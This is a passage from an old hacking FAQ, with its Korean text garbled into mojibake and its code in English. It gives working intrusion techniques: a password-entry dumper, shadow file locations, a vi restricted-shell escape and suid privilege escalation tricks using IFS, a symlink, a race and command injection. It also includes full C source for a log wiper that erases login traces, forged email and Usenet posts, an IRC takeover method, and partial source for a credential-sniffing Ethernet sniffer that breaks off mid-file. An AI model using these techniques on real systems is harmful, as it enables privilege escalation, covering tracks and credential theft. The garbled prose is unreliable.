À¯´Ð½º ÆÐ½º¿öµå¸¦ ¾Ë¾Æ³»´Â °¡Àå ÁÁÀº ÇÁ·Î±×·¥Àº ÇöÀç alec muffetÀÌ ¸¸µç CRACKÀÌ
¸ç,PC-DOS¿¡¼´Â ÇöÀç CRACKERJACKÀÌ ¸¹ÀÌ ¾²À̰íÀÖ´Ù.
3.ÆÐ½º¿öµå ½¦µµÀ®(¾ÏÈ£ ¼û±â±â)´Â ¹«¾ùÀΰ¡?
Password shadowing Àº º¸¾È ü°è¸¦ ÁöĪÇÏ´Â °ÍÀ¸·Î,ÆÐ½º¿öµå ½¦µµÀ®À» ÀÌ¿ëÇϸé,
/etc/passwd¿¡ µé¾î ÀÖ´Â °¢°¢ÀÇ ÆÐ½º¿öµå´Â Ưº°ÇÑ ±âÈ£·Î ¹Ù²î¾îÁö¸ç,¹Ù²î¾îÁø ÆÐ½º¿öµå´Â ÀÏ
¹Ý »ç¿ëÀÚ°¡ ÀÐÀ» ¼ö ¾ø´Â ÆÄÀÏ·Î ºÐ¸®µÇ¾î ÀúÀåµÈ´Ù. ÀϹÝÀûÀÎ ½Ã½ºÅÛ¿¡¼ ÆÐ½º¿öµå½¦µµÀ®¿¡ ÀÖ
´Â ÆÐ½º¿öµå ÈÀÏÀ» ¾Ë¾Æ³»±â À§Çؼ´Â getpwent() ¸¦ °è¼ÓÇØ¼ È£ÃâÇÏ´Â ¾Æ·¡ÀÇ ÇÁ·Î±×·¥À» ÀÌ
¿ëÇÑ´Ù.
¿¹:
#include <pwd.h>
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
4.½¦µµÀ®À¸·Î ¸¸µé¾îÁø ÆÐ½º¿öµå ÈÀÏÀº ¾îµð¿¡ À§Ä¡Çϴ°¡?
Unix Path Token
-----------------------------------------------------------------
AIX 3 /etc/security/passwd !
or /tcb/auth/files/<first letter #
of username>/<username>
A/UX 3.0s /tcb/files/auth/?/*
BSD4.3-Reno /etc/master.passwd *
ConvexOS 10 /etc/shadpw *
ConvexOS 11 /etc/shadow *
DG/UX /etc/tcb/aa/user/ *
EP/IX /etc/shadow x
HP-UX /.secure/etc/passwd *
IRIX 5 /etc/shadow x
Linux 1.1 /etc/shadow *
OSF/1 /etc/passwd[.dir|.pag] *
SCO Unix #.2.x /tcb/auth/files/<first letter *
of username>/<username>
SunOS4.1+c2 /etc/security/passwd.adjunct ##username
SunOS 5.0 /etc/shadow
<optional NIS+ private secure maps/tables/whatever>
System V Release 4.0 /etc/shadow x
System V Release 4.2 /etc/security/* database
Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
5.NIS/yp´Â ¹«¾ùÀΰ¡?
Àü¿¡´Â yp (Yellow Pages)¶ó°í ¾Ë·ÁÁ³´ø NIS (Network Information System) ÀÇ ÁÖ ¸ñÀûÀº ÆÐ½º
¿öµåÀÚ·á¿Í °°ÀÌ ³×Æ®¿öÅ©¸¦ ±¸¼ºÇÏ´Â ¿©·¯ CONFIGURATION DATE¸¦ ´Ù¾çÇÑ ½Ã½ºÅÛÀÌ °øÀ¯ÇÒ ¼ö ÀÖ
µµ·Ï Çϱâ À§ÇØ ¸¸µé¾îÁ³´Ù. ±×·¯³ª ´ÜÁö ½Ã½ºÅÛÀÇ º¸¾ÈÀ» Áõ°¡½Ãų ¸ñÀûÀ¸·Î ¸¸µé¾îÁø °Í¸¸Àº
¾Æ´Ï´Ù. NIS¸¦ ÀÌ¿ëÇϸé /etc/passwd ÆÄÀÏÀº ´ÙÀ½Ã³·³ ¾ÆÁÖ °£´ÜÇØÁø´Ù. ÀÌ ÆÄÀÏÀÇ ³»¿ëÀ» º¸·Á
¸é ypcat passwd¶ó´Â ¸í·É¾î¸¦ ÀÌ¿ëÇÑ´Ù.
+::0:0:::
6.'ypcat passwd'¿¡¼ ÄÞ¸¶µÚ¿¡ ³ª¿À´Â ±â¹¦ÇÑ ¹®ÀÚ´Â ¹«¾ùÀΰ¡?
±× ¹®ÀÚ´Â password aging data¶ó°í ºÒ¸®¸ç,½Ã½ºÅÛ °ü¸®ÀÚ°¡ Á¤ÇÑ ±â°£ÀÌ Áö³ª¸é »ç¿ëÀÚ°¡ ÆÐ½º
¿öµå¸¦ º¯°æÇÏ°Ô ÇÏ´Â ¿ªÇÒÀ» ÇÑ´Ù.
]
] ´ÙÀ½Àº 'password aging data'°¡ µé¾îÀÖ´Â /etc/passwd ÆÄÀÏÀÇ ¿¹ÀÌ´Ù.
]
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
]
¾ÏȣȰ¡ µÈ ÆÐ½º¿öµå¿¡¼ ÄÞ¸¶µÚ¿¡ ³ª¿À´Â ¹®ÀÚ´Â password aging mechanismÀ» µû¸¥´Ù.
]
] À§ ¿¹¿¡¼ Password aging characters´Â ´ÙÀ½°ú °°´Ù.
]
] M.z8
]
4°³ÀÇ ¹®ÀÚ´Â ´ÙÀ½°ú °°ÀÌ ÇØ¼®µÈ´Ù.
1 ÆÐ½º¿öµå°¡ º¯°æµÇÁö ¾Ê°í »ç¿ëµÉ ¼ö ÀÖ´Â ÃÖ´ë±â°£(ÁÖ ´ÜÀ§)
2 ÆÐ½º¿öµå°¡ º¯°æµÇ±â Àü¿¡ »ç¿ëÇØ¾ß¸¸ ÇÏ´Â ÃÖ¼Ò ±â°£(ÁÖ ´ÜÀ§)
3,4 ¼¼°¡Áö Ưº°ÇÑ °æ¿ì°¡ Á¸ÀçÇÑ´Ù.
ù¹øÂ°¿Í ±¸¹øÂ° ¹®ÀÚ°¡ '..'ÀÎ °æ¿ì,»ç¿ëÀÚ´Â ´ÙÀ½¹ø login¿¡¼ ÆÐ½º¿öµå¸¦ º¯°æÇØ¾ß ÇÑ´Ù. ±×·¯¸é
ÆÐ½º¿öµå ÇÁ·Î±×·¥Àº password aging characters¸¦ Á¦°ÅÇϹǷΠÂ÷ÈÄ¿¡´Â ÆÐ½º¿öµå¸¦ ²À º¯°æÇÒ
ÇÊ¿ä´Â ¾ø´Ù. ¼¼¹øÂ°¿Í ³×¹øÂ° ¹®ÀÚ°¡ '..'ÀÎ °æ¿ìµµ ¸¶Âù°¡Áö·Î »ç¿ëÀÚ´Â ÆÐ½º¿öµå¸¦ º¯°æÇØ¾ß ÇÑ
´Ù. password agingÀº ù¹øÂ°¿Í µÎ¹øÂ° ¹®ÀÚ¿¡ Á¤ÀÇµÈ ´ë·Î ÀÌ·ç¾îÁø´Ù. ù¹øÂ° ¹®ÀÚ(MAX)°¡ µÎ
¹øÂ° ¹®ÀÚ(MIN)º¸´Ù °ªÀÌ ÀÛÀ» °æ¿ì´Â »ç¿ëÀÚ´Â ±×ÀÇ ÆÐ½º¿öµå¸¦ º¯°æÇÒ ¼ö ¾øÀ¸¸ç,root¸¸ÀÌ ¹Ù
²Ü ¼ö ÀÖ´Ù.
Password Aging Codes
+------------------------------------------------------------------------+
| |
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H |
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
| |
| Character: I J K L M N O P Q R S T U V W X Y Z a b |
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
| |
| Character: c d e f g h i j k l m n o p q r s t u v |
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 |
| |
| Character: w x y z |
| Number: 60 61 62 63 |
| |
+------------------------------------------------------------------------+
7.VMS¿¡¼ ÆÐ½º¿öµå ÈÀÏ¿¡ ¾î¶»°Ô Á¢±ÙÇÒ ¼ö Àִ°¡?
VMS¿¡¼ ÆÐ½º¿öµå ÆÄÀÏÀº SYS$SYSTEM:SYSUAF.DAT À̸ç,À¯´Ð½º¿Í ´Þ¸® ÀÏ¹Ý »ç¿ëÀÚ´Â ÀÌ ÆÄÀÏÀ»
ÀÐÀ» ¼ö ¾ø´Ù.
8.VMS ÆÐ½º¿öµå¸¦ ¾î¶»°Ô ±ý ¼ö Àִ°¡?
SYS$GETUAF ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿©,¾ÏÈ£ÈµÈ ´Ü¾î¿Í SYSUAF.DAT ¿¡ ÀÖ´Â ¾ÏÈ£ÈµÈ ÀڷḦ ºñ±³ÇÏ´Â ÇÁ
·Î±×·¥À» ÀÛ¼ºÇÏ¸é °¡´ÉÇÏ´Ù. ±×·¯ÇÑ ¸ñÀûÀ¸·Î ¸¸µé¾îÁø ÇÁ·Î±×·¥Áß¿¡¼ CHECK_PASSWORD ¿Í
GUESS_PASSWORD °¡ ¾Ë·ÁÁ®ÀÖ´Ù.
9.»ç¿ëÀÌ Á¦ÇÑµÈ shellÀ» ¾î¶»°Ô ºüÁ® ³ª¿Ã ¼ö Àִ°¡?
shell ±â´ÉÀ» ÁÖÃàÀ¸·Î ÇÏ´Â ÇÁ·Î±×·¥À» ½ÇÇà½Ã۸é,»ç¿ëÀÚÀÇ ¿µ¿ªÀÌ Á¦ÇÑµÈ shell·ÎºÎÅÍ ºüÁ®
³ª¿Ã ¼ö ÀÖ´Ù. ´ëÇ¥ÀûÀÎ ¿¹°¡ viÀ̸ç,vi¸¦ ½ÇÇà½ÃŲ ÈÄ ´ÙÀ½ ¸í·É¾î¸¦ »ç¿ëÇ϶ó.°è¼ÓÇÏ¿© ´ÙÀ½
¸í·É¾î¸¦ ÀÔ·ÂÇϸé shell·ÎºÎÅÍ ºü·Á ³ª¿Ã ¼ö ÀÖ´Ù.
:set shell=/bin/sh
:shell
10.suid script³ª ÇÁ·Î±×·¥À¸·ÎºÎÅÍ root·Î À̵¿ÇÒ ¼ö Àִ°¡?
1. IFS¸¦ º¯°æÇ϶ó.
ÇÁ·Î±×·¥ÀÌ system() ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© ´Ù¸¥ ÇÁ·Î±×·¥À» È£ÃâÇϸé,ÇÁ·Î±×·¥À» ¼Ó¿©¼ IFS¸¦ º¯°æ
ÇÒ ¼ö ÀÖ´Ù. IFS´Â ÀÎÀÚ¸¦ ±¸ºÐÇϱâÀ§ÇØ »ç¿ëµÈ´Ù. ÇÁ·Î±×·¥ÀÌ ´ÙÀ½°ú °°Àº ÇÔ¼ö¸¦ »ç¿ëÇÑ´Ù°í
°¡Á¤ÇÏÀÚ.
system("/bin/date")
IFS¸¦ '/' ·Î º¯°æÇϸé shellÀº '/'À» ´ÜÁö bin °ú dateÀ» ±¸ºÐÇϱâ À§ÇÏ¿© »ç¿ëÇϹǷÎ(µð·ºÅ丮
¸¦ ±¸ºÐÇϱâ À§ÇÑ ¿ªÇÒÀº »ç¶óÁø´Ù) /bin/date À» 'bin date'·Î ÇØ¼®ÇÏ°Ô µÈ´Ù.
´©±º°¡°¡ 'bin'À̶ó´Â °æ·Î¿¡ ÀÚ½ÅÀÇ ÇÁ·Î±×·¥À» °¡Áö°í ÀÖ´Ù¸é, suid ÇÁ·Î±×·¥Àº /bin/date ´ë
½Å¿¡ ÀÚ½ÅÀÇ ÇÁ·Î±×·¥À» ½ÇÇàÇÏ°Ô µÈ´Ù.
IFS¸¦ º¯°æÇϱâ À§ÇÏ¿© ´ÙÀ½ÀÇ ¸í·É¾î¸¦ »ç¿ëÇ϶ó.
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. script ¸¦ -i¿¡ ¿¬°áÇ϶ó.
-i¶ó´Â À̸§À» °¡Áø symbolic link¸¦ ÇÁ·Î±×·¥¿¡ ¸¸µé¾î¶ó. -i¸¦ ½ÇÇà½Ã۸é shell(bin/sh)À» ´ë
ÈÇü ¸ðµå·Î ¼öÇàÇÒ °ÍÀÌ´Ù. À̰ÍÀº suid shell scripts¿¡¼¸¸ °¡´ÉÇÏ´Ù.
¿¹:
% ln suid.sh -i
% -i
#
3. race conditionÀ» ÀÌ¿ëÇ϶ó.
Ä¿³ÎÀÌ /bin/sh¸¦ ¼öÇàÇϰí ÀÖ´Â µ¿¾È symbolic link¸¦ ´Ù¸¥ ÇÁ·Î±×·¥À¸·Î ¹Ù²ã¶ó.
¿¹:
nice -19 suidprog ; ln -s evilprog suidroot
4. ÇÁ·Î±×·¥¿¡¼ bad inputÀ» ÀÔ·ÂÇ϶ó.
°°Àº ¸í·É¾î ÁÙ¿¡¼ ÇÁ·Î±×·¥°ú ´Ù¸¥ ¸í·É¾î¸¦ ÇÔ²² ¼öÇàÇ϶ó.
¿¹:
suidprog ; id
11.½Ã½ºÅÛ LOG FILE¿¡¼ ÀÚ½ÅÀÇ ÇØÅ·ÈçÀûÀ» ¾î¶»°Ô Áö¿ï°ÍÀΰ¡?
/etc/utmp, /usr/adm/wtmp ±×¸®°í /usr/adm/lastlog ÆÄÀÏÀ» ÆíÁýÇ϶ó.
±×·¯³ª ÀÌ·¯ÇÑ ÆÄÀϵéÀº vi¿Í °°Àº ÀϹÝÀûÀÎ ¿¡µðÅÍ·Î ÆíÁýÇÒ ¼ö ÀÖ´Â ¹®¼ ÆÄÀÏÀÌ ¾Æ´Ï´Ù. ÀÌ·¯
ÇÑ ¸ñÀûÀ¸·Î Ưº°ÇÏ°Ô Â¥¿©Áø ÇÁ·Î±×·¥À» ÀÌ¿ëÇØ¾ß ÇÑ´Ù.
¿¹:
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}
12.°¡Â¥¸ÞÀÏ(FAKEMAIL)À» ¾î¶»°Ô º¸³»´Â°¡?
¸ÞÀÏÀÌ ¿øÇü´ë·Î ³ªÅ¸³ª±â¸¦ ¿øÇÏ´Â ½Ã½ºÅÛ¿¡ Á¢¼ÓÇÑ ÈÄ, ´ÙÀ½Ã³·³ ¸Þ¼¼Áö¸¦ ÀÛ¼ºÇ϶ó.
HELO bellcore.com
MAIL FROM:Voyager@bellcore.com
RCPT TO:president@whitehouse.gov
DATA
Please discontinue your silly Clipper initiative.
.
QUIT
RFC 931À» »ç¿ëÇÏ´Â ½Ã½ºÅÛ¿¡¼´Â "MAIL FROM:"À̶ó´Â ºÎºÐÀº °¡´ÉÇÏÁö ¾Ê´Ù.
¿ì¼± Àڽſ¡°Ô ¸ÞÀÏÀ» º¸³¿À¸·Î½á Å×½ºÆ®¸¦ ÇØº»´Ù.
´õ¸¹Àº ÀÚ·á´Â RFC 822 "Standard for the format of ARPA Internet text messages."¸¦ ÂüÁ¶ÇÑ
´Ù.
13.À¯Áî³ÝÀ» ¾î¶»°Ô ¼ÓÀ̴°¡?
inews¸¦ »ç¿ëÇÏ¿© ´ÙÀ½ÀÇ ³»¿ëÀ» ÀÔ·ÂÇ϶ó.
From:
Newsgroups:
Subject:
Message-ID:
Date:
Organization:
Á¦´ë·ÎµÈ newsgroupÀ» À§ÇØ,inews´Â ´ÙÀ½ÀÇ ³»¿ëÀ» ÇÊ¿ä·Î ÇÑ´Ù.
Approved:
±×·¯¸é °Ô½Ã¹°À» ÷°¡Çϰí <Control-D>¸¦ ÀÌ¿ëÇÏ¿© ³¡³½´Ù. ´ÙÀ½Àº ¿¹ÀÌ´Ù.
¿¹:
From: Eric S. Real
Newsgroups: alt.hackers
Subject: Pathetic bunch of wannabe losers
Message-ID: <esr.123@locke.ccil.org>
Date: Fri, 13 Aug 1994 12:15:03
Organization: Moral Majority
A pathetic bunch of wannabe losers is what most of you are, with no
right to steal the honorable title of `hacker' to puff up your silly
adolescent egos. Get stuffed, get lost, and go to jail.
Eric S. Real <esr@locke.ccil.org>
^D
¸¹Àº ½Ã½ºÅÛÀÌ Originator: ¸¦ ¸í±âÇÏ¿© ¸Þ¼¼Áö°¡ ´©±¸·ÎºÎÅÍ ¹ß¼ÛµÇ¾ú´ÂÁö¸¦ ³ªÅ¸³½´Ù´Â Á¡¿¡
ÁÖ¸ñÇØ¾ß ÇÑ´Ù.
14.¾î¶»°Ô IRC(ÀÎÅÍ³Ý Ã¤ÆÃ)ÀÇ CHANOP¿¡ ħÅõÇϴ°¡?
IRC·ÎºÎÅÍ ¶³¾îÁ® ³ª¿Â sever¸¦ ã¾Æ¼ ¿øÇÏ´Â À̸§À¸·Î channelÀ» ¸¸µé¾î¶ó.
sever°¡ net¿¡ ´Ù½Ã Á¢¼ÓÇÒ ¶§ ½ÇÁ¦ÀûÀÎ channelÀÌ ÀÖ´Â ChanOp¸¦ ¼ÒÀ¯ÇÏ°Ô µÉ °ÍÀÌ´Ù.
sever¿¡¼ ServerOp ¸¦ °¡Áö°í ÀÖ´Ù¸é ÀǵµÀûÀ¸·Î ºÐ¸®½Ãų ¼ö µµ ÀÖ´Ù.
15.³ªÀÇ »ç¿ëÀÚ À̸§À» ¼û±â·Á¸é IRCŬ¶óÀÌ¾ðÆ®¸¦ ¾î¶»°Ô ¼öÁ¤Çϴ°¡?
cs.bu.edu /irc/clients¿¡ ÀÖ´Â irc.c ¿Í ctcp.c ÀÇ ³»¿ëÀ» º¯°æÇÏ¸é µÈ´Ù.
irc.c¿¡¼´Â »ç¿ëÀÚÀ̸§,ctcp.c¿¡¼´Â °³ÀÎÁ¤º¸ ºÎºÐÀ» ¼öÁ¤ÇÑ ÈÄ¿¡ ÄÄÆÄÀÏÀ» ÇÏ¿© ½ÇÇàÇÏ¸é µÈ
´Ù.
¿¹:
*** ctcp.c.old Wed Feb 10 10:08:05 1993
--- ctcp.c Fri Feb 12 04:33:55 1993
***************
*** 331,337 ****
struct passwd *pwd;
long diff;
int uid;
! char c;
/*
* sojge complained that ircII says 'idle 1 seconds'
--- 331,337 ----
struct passwd *pwd;
long diff;
int uid;
! char c, *fing;
/*
* sojge complained that ircII says 'idle 1 seconds'
***************
*** 348,354 ****
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (pwd = getpwuid(uid))
{
char *tmp;
--- 348,356 ----
if (uid != DAEMON_UID)
{
#endif /* DAEMON_UID */
! if (fing = getenv("IRCFINGER"))
! send_ctcp_reply(from, ctcp->name, fing, diff, c);
! else if (pwd = getpwuid(uid))
{
char *tmp;
*** irc.c.old Wed Feb 10 06:33:11 1993
--- irc.c Fri Feb 12 04:02:11 1993
***************
*** 510,516 ****
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
--- 510,518 ----
malloc_strcpy(&my_path, "/");
if (*realname == null(char))
strmcpy(realname, "*Unknown*", REALNAME_LEN);
! if (ptr = getenv("IRCUSER"))
! strmcpy(username, ptr, NAME_LEN);
! else if (*username == null(char))
{
if (ptr = getenv("USER"))
strmcpy(username, ptr, NAME_LEN);
16.ÀÌ»óÇÑ ¹®ÀڷΠǥ½ÃµÈ µð·ºÅ丮·Î À̵¿ÇÏ´Â ¹æ¹ýÀº ¹«¾ùÀΰ¡?
directory À̸§¿¡ ÀÌ»óÇÑ ¹®ÀÚ°¡ Ç¥½ÃµÇ¾î ÀÖÀ¸¸é,ÀڷḦ ¼û±â·Á°í Çϰųª »ó¾÷Àû ¿ëµµÀÇ ÇÁ·Î±×
·¥ÀÎ °æ¿ì°¡ ¸¹´Ù.
±×·¯ÇÑ ¹®ÀÚ¸¦ ¾Ë¾Æ³»´Â ¹æ¹ýµéÀº ¸î°¡Áö°¡ Àִµ¥,¸ÕÀú ls¸í·É¾î¸¦ ÀÌ¿ëÇÏ´Â ¹æ¹ýÀ» »ìÆìº¸ÀÚ.
ls ÀÇ µµ¿ò¸»À» º¸¸é ´ÙÀ½°ú °°Àº ³»¿ëÀÌ ÀÖ´Ù.
-F µð·ºÅ丮´Â ``/'',½ÇÇà°¡´ÉÇÑ ÆÄÀÏ¿¡´Â ``*'', ¿¬°á°í¸®¿¡´Â ``@'' ¶ó´Â Ç¥½Ã¸¦ ¸¸µé¾î
ÁØ´Ù.
-q ÆÄÀÏ¸í¿¡ µé¾îÀÖ´Â ºñ±×·¡ÇÈ ¹®ÀÚµéÀ» ``?''·Î Ç¥½ÃÇØ ÁØ´Ù.
-b \ddd¿¡ µé¾îÀÖ´Â ºñ±×·¡ÇÈ ¹®ÀÚµéÀ» 8Áø¼ö·Î Ç¥½ÃÇØÁØ´Ù.
ftp·Î ¿¬°áÇÑ °÷ÀÇ µð·ºÅ丮´Â "ls -al filename" À̶ó´Â ¸í·É¾î¸¦ ÀÌ¿ëÇϸé ÁöÁ¤µÈ ÆÄÀϸíÀ¸·Î
ÀúÀåÀÌ µÈ´Ù.
ÀÌ·¸°Ô ÀúÀåÀÌ µÈ ÆÄÀÏ ¾È¿¡ µé¾î ÀÖ´Â ÀÌ»óÇÑ ¹®ÀÚ°¡ ¹«¾ùÀÎÁö¸¦ Á¤È®È÷ º¸±âÀ§Çؼ
"cat -t -v -e filename" À̶ó´Â ¸í·É¾î¸¦ ÀÌ¿ëÇϵµ·Ï ÇÑ´Ù.
catÀÇ µµ¿ò¸»À» º¸¸é ´ÙÀ½°ú °°Àº ³»¿ëÀÌ ÀÖ´Ù.
-v ÀμⰡ ºÒ°¡´ÉÇÑ ¹®ÀÚµéÀ» ³ªÅ¸³½´Ù.
Á¦¾î¹®ÀÚ´Â ^X (<Ctrl>x), ¿Í °°ÀÌ ³ªÅ¸³´Ù.
<DEL><8Áø¼ö·Î 0177>DMS ^?·Î Ç¥½ÃµÈ´Ù. ASCII ¹®ÀÚ°¡ ¾Æ´Ñ °æ¿ì´Â
<high bitÀÎ 8¹øÂ° bit°¡ 1ÀÎ °æ¿ì> M -x ·Î Ç¥½ÃµÇ´Âµ¥,¿©±â¼ x´Â high bit¸¦ Á¦¿ÜÇÑ
³ª¸ÓÁö 7°³ÀÇ bit°¡ Ç¥½ÃÇÏ´Â ¹®ÀÚÀÌ´Ù.
-t ÅÇÀº ^I,ÆäÀÌÁö ³Ñ±èÀº ^L·Î ³ªÅ¸³»ÁØ´Ù. -v¿Í ÇÔ²² »ç¿ëµÇ¾î¾ß¸¸ ÇÑ´Ù.
-e »õ ÁÙÀÌ ½ÃÀ۵DZ⿡ ¾Õ¼¼ °¢ ÁÙÀÇ ³¡¿¡ ``$'' À» Ç¥½ÃÇÏ°Ô ÇÑ´Ù.
-v¿Í ÇÔ²² »ç¿ëµÇ¾î¾ß ÇÑ´Ù.
µð·ºÅ丮 ¸íÀÌ <SPACE> ³ª <TAB>À» Æ÷ÇÔÇϰí ÀÖÀ» °æ¿ì µû¿ÈÇ¥¸¦ ÀÌ¿ëÇØ¾ß ÇÑ´Ù.
cd "..<TAB>"
IBM-PC¿¡¼´Â <ALT> key ¿Í ASCII Äڵ尪À» ÀÌ¿ëÇÏ¸é Æ¯¼ö¹®ÀÚ¸¦ ÀÔ·ÂÇÒ ¼ö ÀÖ´Ù.
<ALT> key¸¦ ´©¸¥ »óÅ¿¡¼ Ư¼ö¹®ÀÚ¿¡ ÇØ´çÇÏ´Â ÄÚµå °ªÀ» ´·¯ÁØ´Ù.
<ALT>Ű¿¡¼ ¼ÕÀ» ¶¼¸é ¿øÇÏ´Â ¹®ÀÚ°¡ ȸ鿡 ³ªÅ¸³´Ù. Ư¼ö¹®ÀÚÀÇ ASCIIÄڵ尪À» ¾Ë±â À§Çؼ
´Â ÄÚµå Ç¥¸¦ ÂüÁ¶ÇÏ´Â °ÍÀÌ ÁÁ´Ù.
^Z (suspend), ^C (intr)¿Í °°Àº Á¦¾î¹®ÀÚ¸¦ °¡Áø µð·ºÅ丮¸¦ ¸¸µé°íÀÚ ÇÒ °æ¿ì,Á¦¾î¹®ÀÚ¸¦ ´Ù¸¥
¹®ÀÚ·Î º¯°æÇϱâ À§ÇÏ¿© stty¸¦ »ç¿ëÇÒ Çʿ䰡 ÀÖ´Ù.
stty¿¡ ´ëÇÑ µµ¿ò¸»À» º¸¸é ´ÙÀ½°ú °°´Ù.
Á¦¾î¹®ÀÚ +C´Â Á¦¾î¹®ÀÚ¸¦ C¿¡ ÇÒ´çÇϴµ¥,¿©±â¼ Á¦¾î¹®ÀÚ´Â erase, kill, intr (interrupt),
quit, eof, eol, swtch(switch), start, stop or susp¸¦ ÀǹÌÇÑ´Ù. star¿Í stopÀº Á¦¾î¹®ÀÚ CÇÒ
´ç¿¡¸¸ À¯È¿ÇÏ´Ù. caret (^)ÀÌ Cº¸´Ù ¸ÕÀú ³ª¿À´Â °æ¿ì´Â Á¦¾î¹®ÀÚ¿¡ ÇØ´çÇÑ´Ù.
(¿¹¸¦µé¾î ^D´Â <Ctrl+D>À̸ç ^?´Â <DELETE>,^- ´Â undefined·Î ÇØ¼®µÈ´Ù.)
ÇöÀçÀÇ stty ±âº» ¼³Á¤°ªÀ» º¸·Á¸é stty -a¸¦ ÀÔ·ÂÇÏ¸é µÈ´Ù.
17.ethrnet sniiffing(ÀÌ´õ³Ý Ãßô)Àº ¹«¾ùÀΰ¡?
Ethernet sniffing À̶õ,ÀÚ½ÅÀÌ Ã£°íÀÚ ÇÏ´Â Á¤º¸¸¦ ¹ß°ßÇϱâ À§Çؼ Àü¼Û»óŸ¦ °¨½ÃÇÏ´Â °ÍÀ»
ÀǹÌÇÑ´Ù. Áï ¾î¶² Á¶°Ç¿¡ ¸Â´Â Àڷḣ ÇÁ·Î±×·¥ÀÌ ¹ß°ßÇÏ°Ô µÇ¸é, ±× ³»¿ëÀº ÇÁ·Î±×·¥¿¡ ÀÇÇØ
ÆÄÀÏ·Î ÀúÀåÀÌ µÈ´Ù. Á¤º¸¸¦ ¾Ë¾Æ³»±â À§ÇÏ¿© ÀϹÝÀûÀ¸·Î °¡À帹ÀÌ ¾²ÀÌ´Â Á¶°ÇÀº 'login',¶Ç´Â
'password'¿Í °°Àº ´Ü¾îµéÀÌ´Ù.
¸¹Àº Ethernet sniffers °¡ ÀÖÀ¸¸ç,´ÙÀ½Àº ±× ¿¹µéÀÌ´Ù.
½Ã½ºÅÛ¿¡ µû¸¥ ½º´ÏÅÍ¿Í ½º´ÏÆÛ°¡ ÀÖ´Â FTP
OS Sniffer
~~ ~~~~~~~
HP/UX nettl (monitor) & netfmt (display)
nfswatch /* Available via anonymous ftp */
Irix nfswatch /* Available via anonymous ftp */
Etherman
SunOS etherfind
nfswatch /* Available via anonymous ftp */
Solaris snoop
DOS ETHLOAD /* Available via anonymous ftp as */
/* ethld104.zip */
The Gobbler /* Available via anonymous ftp */
LanPatrol
LanWatch
Netmon
Netwatch
Netzhack /* Available via anonymous ftp at */
/* mistress.informatik.unibw-muenchen.de */
/* /pub/netzhack.mac */
Macintosh Etherpeek
Here is source code for an ethernet sniffer:
/* Esniff.c */
#include <stdio.h>
#include <ctype.h>
#include <string.h>
#include <sys/time.h>
#include <sys/file.h>
#include <sys/stropts.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/nit_if.h>
#include <net/nit_buf.h>
#include <net/if_arp.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <netinet/ip_var.h>
#include <netinet/udp_var.h>
#include <netinet/in_systm.h>
#include <netinet/tcp.h>
#include <netinet/ip_icmp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define ERR stderr
char *malloc();
char *device,
*ProgName,
*LogName;
FILE *LOG;
int debug=0;
#define NIT_DEV "/dev/nit"
#define CHUNKSIZE 4096 /* device buffer size */
int if_fd = -1;
int Packet[CHUNKSIZE+32];
void Pexit(err,msg)
int err; char *msg;
{ perror(msg);
exit(err); }
void Zexit(err,msg)
int err; char *msg;
{ fprintf(ERR,msg);
exit(err); }
#define IP ((struct ip *)Packet)
#define IP_OFFSET (0x1FFF)
